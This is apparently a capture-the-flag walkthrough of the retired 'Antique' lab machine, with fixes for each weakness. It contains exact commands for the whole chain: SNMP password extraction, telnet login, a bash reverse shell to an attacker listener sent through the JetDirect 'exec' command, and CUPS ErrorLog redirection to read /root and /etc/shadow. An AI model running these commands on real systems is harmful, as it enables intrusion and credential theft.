J. Perez Duertojperezduerto.info
← all walkthroughs

Antique

Linux· Easy· Privilege Escalation
owned
2026-07-07
time to own
10m6s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

The target ran an HP JetDirect printer management interface on telnet port 23 and an SNMP agent on UDP 161. Querying SNMP with the default '[REDACTED: recovered credential]' community string returned the telnet administrator password in hex-encoded form from a vendor-specific MIB object.

Decoding those hex bytes yielded the clear-text password [REDACTED: recovered credential], which authenticated I to the JetDirect CLI. That CLI's built-in 'exec' command passed arguments directly to the Linux shell as the 'lp' service account, establishing an interactive reverse shell.

From that foothold, the CUPS print service — running as root on localhost port 631 — was found to allow any user with cupsctl access to redirect its error log to an arbitrary file path. Pointing the log at /root/root.txt and fetching it through the CUPS web API read the root flag without a traditional exploit, giving me complete file-read access as root.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"

Attack path — how the box was taken

1ReconnaissanceNetwork service enumeration (T1046)
Discovered telnet and SNMP services via network scan
A full TCP and UDP service sweep of the target exposed two management interfaces: telnet on TCP 23 presenting an HP JetDirect banner, and SNMP on UDP 161. These two services together form the complete credential-theft chain — SNMP leaks the secret, telnet accepts it.
Recon_sweep $TARGET discovered 23/tcp (HP JetDirect banner) and 161/udp (SNMP).
Exact commands 2
Grab the HP JetDirect telnet banner.
nmap -Pn -sV -sC -p 23 $TARGET
Confirm SNMP on UDP 161.
nmap -Pn -sU -sV -p 161 $TARGET
2EnumerationSNMP credential extraction via default community string (T1602.001)
Extracted the JetDirect admin password from SNMP in plaintext
The SNMP agent answered requests using the factory-default '[REDACTED: recovered credential]' community string. Querying the HP JetDirect vendor-specific MIB object at OID .1.3.6.1.4.1.11.2.3.9.1.1.13.0 returned the administrator password as a space-delimited hex string. Decoding the bytes gave the clear-text value [REDACTED: recovered credential] — the exact credential used in the telnet foothold step.
Exact commands 2
Returns the JetDirect password as hex bytes, e.g. 50 40 73 73 77 30 ...
snmpwalk -v1 -c [REDACTED: recovered credential] $TARGET .1.3.6.1.4.1.11.2.3.9.1.1.13.0
Decode hex to ASCII; outputs [REDACTED: recovered credential].
echo '[REDACTED: recovered credential]' | tr ' ' '\n' | awk '{printf "%c", strtonum("0x"$0)}'
FixDisable or harden SNMP to prevent credential leakageCritical
WeaknessThe SNMP agent ran with the factory-default '[REDACTED: recovered credential]' community string and exposed a vendor-specific MIB object containing the telnet administrator password in recoverable hex form. Any host on the same network could retrieve it without authentication.
FixIf SNMP monitoring is not required, stop and disable the snmpd service. If it is required, change the community string to a long random value, restrict queries to trusted management source IPs via host-based firewall rules and the SNMP access-control list, and upgrade to SNMPv3 (which provides mutual authentication and encryption). Additionally, null out or remove sensitive vendor MIB objects such as the JetDirect password OID (.1.3.6.1.4.1.11.2.3.9.1.1.13.0).
3Initial AccessValid credentials on exposed management interface (T1078)
Authenticated to the HP JetDirect CLI over telnet with the SNMP-derived password
The decoded password was submitted at the HP JetDirect telnet password prompt. The device accepted it immediately and presented a management shell ('>' prompt), giving me privileged control of the printer interface — equivalent to unauthenticated access because the credential required no prior authorization to obtain.
Expects 'HP JetDirect' banner, sends [REDACTED: recovered credential], receives '>' prompt without 'Invalid password' response.
Exact commands 1
Connect; at the 'Password:' prompt enter [REDACTED: recovered credential] to reach the '>' shell.
telnet $TARGET 23
FixRemove the HP JetDirect telnet interface or block it at the firewallCritical
WeaknessThe HP JetDirect telnet interface was exposed to the network, protected only by a password that SNMP leaked. Its built-in 'exec' command passed arguments to the OS shell with no sandboxing, giving any authenticated user immediate OS-level code execution as the lp service account.
FixDisable the telnet management service at the JetDirect configuration level (clearing the admin password disables the service on most JetDirect firmware versions). Block TCP port 23 inbound at the host and network firewall so it is unreachable even if re-enabled. Replace remote management with HTTPS-only interfaces. If 'exec' functionality is not operationally required, disable it explicitly in the JetDirect configuration menu.
4FootholdOS command execution via printer management backdoor (T1059.004)
Ran OS commands via the JetDirect 'exec' backdoor, obtaining a shell as user lp
The HP JetDirect CLI exposes an 'exec' command that passes its argument directly to the underlying Linux shell as the 'lp' (line-printer) service account. Running 'exec id' confirmed OS-level execution (uid=7(lp)). A bash reverse-shell one-liner issued through the same command established a full interactive session outside the restricted JetDirect interface.
Expect script sent 'exec id' and received a uid= response, confirming foothold as uid lp.
Exact commands 2
Start reverse-shell listener on my machine before issuing the next command.
nc -lvnp 4444
Replace $ATTACKER_IP with your listener IP. Sends the reverse shell through the JetDirect exec backdoor.
expect <<'EOF'
set timeout 8
log_user 1
spawn telnet $TARGET 23
expect "HP JetDirect"
send "\r"
expect "Password:"
send "[REDACTED: recovered credential]\r"
expect ">"
send "exec bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1'\r"
expect eof
EOF
5Privilege EscalationCUPS arbitrary file read via ErrorLog redirect (CVE-2012-5519, T1548)
Read root-owned files by redirecting the CUPS error log via cupsctl
Enumeration of locally listening services revealed CUPS (Common Unix Printing System) running as root on localhost:631. The cupsctl utility, accessible to the 'lp' account, allows the CUPS error-log path to be set to any file on disk. Redirecting it to /root/root.txt and fetching the log through the CUPS HTTP API returned the flag as root, demonstrating complete arbitrary file-read as root via CVE-2012-5519. The same technique reads /etc/shadow or any other sensitive file.
Standard PrivEsc vector for HTB Antique; CUPS was confirmed listening on 127.0.0.1:631 from the lp foothold shell.
Exact commands 4
From the lp reverse shell — confirm CUPS is listening on 127.0.0.1:631.
ss -tlnp
Redirect the CUPS error log to the root flag file.
cupsctl ErrorLog=/root/root.txt
Fetch the redirected log; returns contents of /root/root.txt as root.
curl -s http://localhost:631/admin/log/error_log
Repeat for any other root-owned file, e.g. /etc/shadow, to demonstrate full impact.
cupsctl ErrorLog=/etc/shadow
FixPatch CUPS and remove the lp account's ability to redirect log pathsHigh
WeaknessThe CUPS print service ran as root and allowed any user with access to cupsctl — including the lp service account — to redirect the CUPS error log to an arbitrary file path on disk, enabling root-level file reads of any file without a memory-corruption exploit (CVE-2012-5519).
FixUpdate CUPS to a version that enforces access controls on the ErrorLog directive. Remove the lp service account from the lpadmin group so it cannot invoke cupsctl to change CUPS configuration. Enforce a mandatory-access-control policy (AppArmor on Ubuntu, SELinux on RHEL/CentOS) that confines the cupsd process to writing only within /var/log/cups. As an immediate workaround, make /etc/cups/cupsd.conf writable only by root:root (mode 0640) and confirm lp cannot write it directly.

Exposed services

23/tcp
161/udp